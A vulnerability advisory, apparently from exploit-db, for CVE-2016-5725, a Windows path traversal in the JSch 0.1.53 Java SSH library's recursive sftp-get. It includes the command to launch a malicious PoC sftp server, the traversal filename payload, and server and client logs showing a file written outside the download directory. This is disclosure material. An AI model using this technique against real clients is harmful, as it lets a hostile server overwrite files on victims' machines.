JCraft/JSch Java Secure Channel 0.1.53 – Recursive sftp-get Directory Traversal

  • 作者: tintinweb
    日期: 2016-09-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40411/
  • Ref:https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725
    Version:0.3
    Date: Aug 31st, 2016
    
    Complete Proof of Concept:
    https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40411.zip
    
    Tag:jsch recursive sftp get client-side windows path traversal
    
    Overview
    --------
    
    Name: jsch
    Vendor: jcraft
    References: * http://www.jcraft.com/jsch/ [1]
    
    Version:0.1.53 [2]
    Latest Version: 0.1.54 [2]
    Other Versions: <= 0.1.53 
    Platform(s):windows
    Technology: java
    
    Vuln Classes: CWE-22 Improper Limitation of a Pathname to a Restricted
    Directory ('Path Traversal')
    Origin: remote
    Min. Privs.:post auth
    
    CVE:CVE-2016-5725
    
    
    
    Description
    ---------
    
    quote website [1]
    
    > JSch is a pure Java implementation of SSH2. JSch allows you to connect
     to an sshd server and use port forwarding, X11 forwarding, file transfer,
    etc., and you can integrate its functionality into your own Java programs.
     JSch is licensed under BSD style license.
    
    We have recognized that the following applications have used JSch.
    
    * Ant(1.6 or later).
    JSch has been used for Ant's sshexec and scp tasks.
    * Eclipse(3.0).
    Our Eclipse-CVSSSH2 plug-in has been included in Eclipse SDK 3.0. 
    This plug-in will allow you to get ssh2 accesses to remote CVS
    repository
    by JSch.
    * NetBeans 5.0(and later)
    * Jakarta Commons VFS
    * Maven Wagon
    * Rational Application Devloper for WebSphere Software
    * HP Storage Essentials
    * JIRA
    * Trac WikiOutputStreamPlugin
    
    
    Summary
    -------
    
    A malicious sftp server may force a client-side relative path traversal in
    jsch's implementation for recursive sftp-get allowing the server to write
    files outside the clients download basedir with effective permissions of the
    jsch sftp client process. 
    
    * affects recursive get, i.e. sftp <host>:</path>/* .
    * post-auth
    * file overwrite capability depends on the client specified mode: 
    `ChannelSftp.get(...,mode==ChannelSftp.OVERWRITE)`
    * windows only
    
    see attached PoC
    
    Details
    -------
    
    * examples/Sftp.java::main::
    c.get(p1, p2, monitor, mode);
     * ChannelSftp.java::get(String src, String dst, 
     SftpProgressMonitor monitor, int mode)
    * ChannelSftp.java::_get(src,dst,monitor,mode,skip)
    
    Source
    ------
    
    see ref github.
    
    Proof of Concept
    ----------------
    
    see ref github.
    
    poc:
    
    1. run `poc.py` to spawn the ssh/sftp stub listening for new connections 
     on `0.0.0.0:3373`:
    
    poc.py --host=0.0.0.0 --port=3373 -l DEBUG -k test_rsa.key
    
    INFO:__main__:[cve-2016-5725] sftp server starting... 
    INFO:__main__:* generating fake files
    INFO:__main__:** /..\..\totally_malicious_script
    INFO:__main__:* setting up sftp server
    INFO:__main__:* monkey patching: chattr
    INFO:__main__:* monkey patching: list_folder
    INFO:__main__:* monkey patching: mkdir
    INFO:__main__:* monkey patching: open
    INFO:__main__:* monkey patching: remove
    INFO:__main__:* monkey patching: rename
    INFO:__main__:* monkey patching: rmdir
    INFO:__main__:* monkey patching: stat
    INFO:__main__:* monkey patching: symlink
    INFO:__main__:* starting sftp server...
    0.0.0.0 3373
    
    2. connect to `poc.py` using jsch sftp-client example `examples/Sftp.java`
     (any user, user password):
    
    sftp> 
    
    3. issue a recursive get (any remote folder will do for the PoC) to store
     all files from `remote:fancyfolder` to `.`.
    
    Note: output may contain additional debug information not enabled by default
    in `examples/Sftp.java`
    Note: pwd is `<path>\workspace-ee\jsch`
    Note: local output folder is `.` (`<path>\workspace-ee\jsch`)
    
    sftp> get fancyfolder/* .
    
    3. client connects to `poc.py` with subsystem sftp
    
    DEBUG:paramiko.transport:starting thread (server mode): 0x350afd0L
    DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.0
    DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-JSCH-0.1.53
    INFO:paramiko.transport:Connected (version 2.0, client JSCH-0.1.53)
    DEBUG:paramiko.transport:kex algos:[u'ecdh-sha2-nistp256', ...
    DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
    DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
    DEBUG:paramiko.transport:MAC agreed: hmac-md5
    DEBUG:paramiko.transport:Compression agreed: none
    DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo ...
    DEBUG:paramiko.transport:Switch to new keys ...
    DEBUG:paramiko.transport:Auth request (type=none) ...
    INFO:paramiko.transport:Auth rejected (none).
    DEBUG:paramiko.transport:Auth request (type=password) ...
    INFO:paramiko.transport:Auth granted (password).
    DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes
    DEBUG:paramiko.transport:[chan 0] Max packet out: 32768 bytes
    DEBUG:paramiko.transport:Secsh channel 0 (session) opened.
    DEBUG:paramiko.transport:Starting handler for subsystem sftp
    
    
    4. jsch sftp-client command `get fancyfolder/* .` calls
    `opendir(/fancyfolder)`
     on the PoC sftp server which responds with a fake filelist for
    `fancyfolder`
     listing the file `/..\..\totally_malicious_script`. 
     
    DEBUG:paramiko.transport.sftp:[chan 0] Started sftp server on channel 
    <paramiko.Channel 0 (open) window=2097152 -> <paramiko.Transport 
    at 0x350afd0L (cipher aes128-ctr, 128 bits) (active; 1 open
    channel(s))>> DEBUG:paramiko.transport.sftp:[chan 0] Request: realpath
    DEBUG:paramiko.transport.sftp:[chan 0] Request: opendir INFO:__main__:LIST
    (u'/fancyfolder'): [<SFTPAttributes: [ size=44 uid=0 
    gid=9 mode=0100666 atime=1472758892 mtime=1472758897 ]>]
    DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
    DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir
    DEBUG:paramiko.transport.sftp:[chan 0] Request: close
    
    5. jsch sftp-client recursively downloads the files listed in the response
     to `opendir(/fancyfolder)` (sftp-get) by
     calling `stat`, `open` and `read` on the file.
    
    a) jsch sftp-client calls `stat` on the filename as returned by the servers
     response to `opendir` (with traversal): 
     `stat(/fancyfolder//..\\..\\totally_malicious_script)` 
    b) the sftp-server (PoC) returns file attributes for
    `totally_malicious_script` 
     (with traversal)
    c) jsch sftp-client requests file `open` on the path (with traversal):
     `open(/fancyfolder//..\..\totally_malicious_script)`
    d) jsch sftp-client builds destination path by concatenating the destination
     folder ( `<path>\workspace-ee\jsch\.` ) with the server provided filename
     `/..\..\totally_malicious_script` stripping any data before and including
     `/` of the filename, then receives the remote files contents: `
     <path>\workspace-ee\jsch\.\..\..\totally_malicious_script`
    e) the resulting sftp-client local destination path
    `dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script` is outside
     the basedir `<path>\workspace-ee\jsch\.`
    
    sftp-server (PoC)
    
    DEBUG:paramiko.transport.sftp:[chan 0] Request: stat INFO:__main__:STAT
    (u'/fancyfolder//..\\..\\totally_malicious_script')
    INFO:__main__:STAT - returning: totally_malicious_script
    INFO:__main__:** /..\..\totally_malicious_script
    DEBUG:paramiko.transport.sftp:[chan 0] Request: open
    INFO:__main__:OPEN: /fancyfolder//..\..\totally_malicious_script
    DEBUG:paramiko.transport.sftp:[chan 0] Request: read
    DEBUG:paramiko.transport.sftp:[chan 0] Request: read
    DEBUG:paramiko.transport.sftp:[chan 0] Request: read
    DEBUG:paramiko.transport.sftp:[chan 0] Request: close
    
    sftp-client (jsch)
    
    dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script
    _get: /fancyfolder//..\..\totally_malicious_script,
    java.io.FileOutputStream@7ccf3329
    sftp> 
    
    6. downloaded file is stored in server controlled relative path on client
    
    tintin@testbox ~<path>/workspace-ee/jsch $ ls ../../total*
    ../../totally_malicious_script
    
    Notes
    -----
    
    * the PoC is a slightly modified version `stub_sftp.py` shipped with
    paramiko/tests [4].
    * we've seen ssh bots in the wild using jsch probing for weak ssh passwords.
    
    Vendor response: see [5]
    
    References
    ----------
    
    [1] http://www.jcraft.com/jsch/
    [2] https://sourceforge.net/projects/jsch/files/?source=navbar
    [3] https://sourceforge.net/projects/jsch/files/jsch/0.1.53
    [4] https://github.com/paramiko/paramiko/blob/master/tests/stub_sftp.py
    [5] http://www.jcraft.com/jsch/ChangeLog